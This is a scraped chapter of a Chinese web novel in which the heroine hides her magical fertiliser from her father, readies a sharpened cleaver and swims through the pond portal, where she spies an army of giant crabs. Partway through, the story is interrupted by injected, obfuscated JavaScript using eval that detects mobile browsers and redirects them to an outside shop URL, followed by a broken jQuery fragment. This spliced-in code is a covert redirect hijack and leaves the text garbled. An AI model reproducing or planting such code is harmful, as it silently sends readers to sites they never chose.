文趣网 > 都市小说 > 我家池塘通魔海 > 6. 第 6 章
    陈茂林确实在做饭上颇有天赋,以前从来没接触过,但根据网上的视频资料,几番捣鼓、调整分量与火候,竟然很快就做出了味道不差的鲜花饼。

    裴野尝过后,放心地把桃花瓣交给了他。

    中午这一顿,他们吃的就是鲜花饼,非常满足。

    裴野暗自比较,觉得鲜花饼的能量还要略胜过韭菜盒子,一如她预料的那般,桃树确实吸收了更多的能量。

    这让她更加期待桃花酒和桃子了。

    饭后,裴野惦记着晚上去异世界,难得睡了个午觉,醒来时从楼上看见大姨父提着个篮子欢喜地走了。

    裴野有些好奇地下楼。

    陈茂林正在客厅的柜子里翻找,边找还边嘀咕:“哪儿呢?我放哪去了?”

    “爸,你找什么?”

    “种子啊,我在找韭菜种子。”

    裴野一愣:“你找这个干嘛?后院那些韭菜够吃了吧。”

    陈茂林咳嗽两声,有些不好意思给闺女解释补肾对一个中年男人的重要性,就含糊地道:“我之前去买肉,提到这事,你大姨父听说韭菜好吃,就来找我要了些秧苗,我看那后院没多少了,打算再种一些呢。”

    他自己也很需要补的好不好。

    又低头翻找起来:“这韭菜种子不是往年的型号,是老板给我推荐的,说卖得可好了,我想它味道好也是因此,怎么就找不到了?难道我当时就买了一包?可我已经不记得它包装袋长啥样了……咋办啊?早知道就不给你大姨父了。”

    陈茂林不由得后悔起来,别人的幸福哪有他的重要?

    裴野抚额:“爸,你别找了,不是种子型号的问题,是我,我在底下埋了点特殊肥料,从一个朋友的实验室里拿的。”

    “啊?”

    既开了个头,后面再扯就顺理成章了,裴野一本正经:“这批肥料还处于实验阶段,我朋友听我说了咱们村的环境,觉得比较合适,就给了我一些,让我记录数据给他反馈。

    “嗯,我也没想到效果这么好。”

    陈茂林顿时紧张起来:“不会有什么问题吧?你妈可是特别注重咱村的环境,当初那个黑心老板在咱这建造纸厂,一开始说的好好的,结果废水排放不达标,你妈去理论还推三阻四的,干脆就给搅和了,她很看重这个的,别是跟你闹起来。”

    裴野一下就懂了。

    就说她妈不可能无缘无故坏村子的好事,原来是因为污染环境。

    “放心吧,这肥料绝对纯天然,你是知道我嘴巴有多灵的,咱家自己吃我哪能瞎搞?”

    “这倒也是。”陈茂林点头,突然想起什么,一拍巴掌,“对了,你妈这人一贯是有成算的,我之前见她取了一些韭菜、桃花和泥土上山,肯定是拿去检测了。唉,我白操心了。”

    裴野掏掏耳朵,啥玩意?

    陈茂林好笑:“你当你妈找你要的那些家用是干什么?你妈既是村长又是族长,一直想把村里的发展搞起来,早些年就买了设备,能测村里的水土,看看适合种什么,咱这山沟沟也只能搞搞农业了。”

    裴野有种不真实的感觉。

    一直以来,长溪村在她眼里就是偏远落后贫困的代表。

    她万没想到,她妈一个农村妇女竟然有这样的见识,买设备测水土?

    你说买机器科技种田,她觉得没啥,但买设备测水土,怎么给她一种实验室的精致感。

    这么高大上的东西,他们小村子配拥有吗?

    裴野想到自己的虎鲸尾巴,沉默了。

    她妈真的只是一个普通妇女吗?或许就像这尾巴,在它出现之前,她可从未想过自己不是人。

    想了想,裴野问:“我记得我工作以来陆续也给妈转了有七八十万吧,她都砸进去了?”

    “这应该没有。”

    裴野刚松了口气,就听到她爸说:“还有村里的医务室你去过没?你妈也置办了些机器,时不时给村里人做个体检什么的。”

    果然还有别的,不过--裴野眉头舒开,这确实是正当支出。

    可能在其他人看来,非常不可思议。

    你以为你谁呀,亿万富翁,随便撒几百万给家乡做贡献,裴野几十万的年薪都是血汗钱,是熬夜熬的、喝酒喝的,跟各种奇葩客户对接她应得的窝囊费。

    都这么难了,把一半的家资拿来养村里人,开什么玩笑?

    就没这么圣母的。

    但长溪村的人确实不是一般的团结,尤其是姓裴的,在他们看来,建设大集体,有钱出钱,有力出力。

    陈茂林有心再说一些,可想了想,到底没张嘴。

    他这个闺女跟媳妇是如出一辙的能担事,好不容易炒了那狗老板,能在家养着,就别给她那么大压力了。

    他不知道,裴野已经在琢磨赚钱的路子了。

    有这扇门在,她赚钱注定比别的族人轻松,那么她也愿意多承担一些责任。

    裴野下午没出门,前面两次进入异世界或茫然,或急切验证都有些仓促。

    她得好好想想今晚的行动。

    只能带一件东西去,虽然那边没看到智慧生物,但光身子还是有些突破裴野底线,因此只能选衣服。

    不过小背心,她打算换成大T恤,再在T恤上缝一个大口袋,这样再找到黄果,就能塞进去好腾出手。

    裴野选了件适合的T恤,又找出不穿的旧衣服拆开,先缝口袋,再缝胸贴。

    缝的时候,她又改了主意,与其弄一个大口袋,不如弄几个小口袋,多装几种不同的物品,不对,大口袋可以放背后。

    计算着缝好穿上,对着镜子看了看,又活动了下身体,觉得挺好的,应当不会妨碍战斗。

    随后又去厨房,在菜刀、水果刀、剁骨刀等中,选中剁骨刀,开始磨刀。

    长溪村的人都爱吃肉,肉食消耗是很大的,几乎家家户户都有剁骨刀,裴家这把刀更是三不五时就磨一回,刀只有常磨才锋利。

    虽然她现在只能带一件,但保不准以后就能多带了,该准备还是得准备。

    刀磨好后,裴野本想练一练,试试手感,可看着锐利的刀锋,怕伤着自己——她没习过武,村里人打架纯靠蛮力。

    于是裴野找了根树枝,又在网上翻出视频,开始练最基础的劈、砍、刺等。

    陈茂林经过,看得莫名:“你啥时候对这个感兴趣了?”

    “锻炼身体,光吃不动太容易胖了。”裴野语气淡定。

    时间很快到了晚上,裴野坐在后门的台阶下,安静地等待。

    月亮爬上正中,时间到了。

    裴野穿着长长的跟睡裙似的T恤下水,双脚在水下灵活地转变为尾巴,她低头看了一眼,咦了一声。

    不知是不是裴野的错觉,尾巴好像长大了一点。

    她没量过,尾巴也不是肉眼能看到的变化,这只是她的感觉。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913421|213226||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    裴野没再多想,径直下潜。

    看到池底发光的门,她正要一头冲进去,手先伸入,触碰到一团极浓郁的光,光中仿佛真的存在一层膜。

    裴野有种奇怪的感觉,我今天好像能多带一件东西过去。

    这种念头一出,她本能地退回来,上浮,去找今天下午磨好的剁骨刀。

    拿到刀裴野才想起来,万一因为自己已经触碰过了门,今天门关了怎么办?

    好在这种事没有发生。

    裴野拎着刀来到池底的时候,门依旧存在。

    “呼!”

    裴野探出头来,长舒一口气,面前的世界依旧浓丽得仿佛油画。

    才第三次过来,她竟已经不觉陌生,反而有种亲切感。

    照旧观察一遍,没有危险,裴野熟练地下潜,在海藻丛中寻找。

    然而黄果果真难得,一无所获,反倒是摸到了两个碗大的螺蛳。

    她还挺喜欢吃炒田螺的,但这道菜要放很多佐料才好吃。

    裴野拿起来闻了闻,皱了皱鼻子,把它们装入背后的大口袋,继续寻找。

    可大概是前两次进来已经耗尽了裴野的运气,螺蛳、螺蛳还是螺蛳。

    裴野心想,算了,就当是来补充一波金坷垃的。

    她在心里默数着时间,到了往日一般的时间,便准备往回游,忽然尾巴顿住:好像,还可以再待待,没有那种要她赶紧回去的紧迫感。

    这倒是个好消息,自己在这里停留的时间变多了。

    裴野深深地看了一眼尾巴。

    尾巴激动地跳了跳,仿佛在说,没错,就是你猜的那样。裴野刚扬起笑容,忽然绷紧,不对,身后有异动。

    她立刻警觉地往后退,拨开一丛又一丛的海藻。

    门就像海的边界线,只是裴野没办法上岸,也看不到岸上的风景,越来越密的海藻与珊瑚、巨树岩石峭壁挡住了她的视线。

    无论是现实还是本能,都让裴野往海里走,但她知道,她的退路在身后。

    尾巴这根天线极为敏感,裴野窜到离门不远的巨型海藻丛里,躲了两三分钟才看到远方冒出一团团黑影。

    她眯起眼睛,将呼吸压到最低。

    黑影越来越近,裴野的瞳孔不由得张大。

    黑影是一群螃蟹,密密麻麻,一眼根本望不到头,最小的有脸盆大,最大的堪比浴缸。

    这些螃蟹挥舞着粗壮的钳子,如大军过境,它的外壳反射着光,仿佛金属,一看就极为坚硬。

    裴野看着自己手上紧紧握着的剁骨刀,陷入沉默,她不觉得这把刀能破开它的防。

    她把自己更深地埋入到海藻中,准备一有不对就立刻回到门后。

    螃蟹大军近了,更近了。

    它们似乎并未注意到自己,裴野悄悄观察着,松了口气,比起自己这个小不点,螃蟹们更在意身边的同伴,不对,或许不能叫同伴。

    螃蟹一钳子夹断一根海藻正要吃,旁边伸过来一个钳子,直接抢走。

    两只螃蟹打了起来。

    它们一边打,还一边顺着水流往前游。

    似乎更多是为了赶路,螃蟹们打得并不激烈,有很多海藻只吃了一点点就被扔掉,留给后面的螃蟹争抢。

    海水被搅得浑浊起来,叶片四散。

    裴野摸了摸肚子,有了一个大胆的想法。

    螃蟹啊,无论公蟹、母蟹都是很好吃的。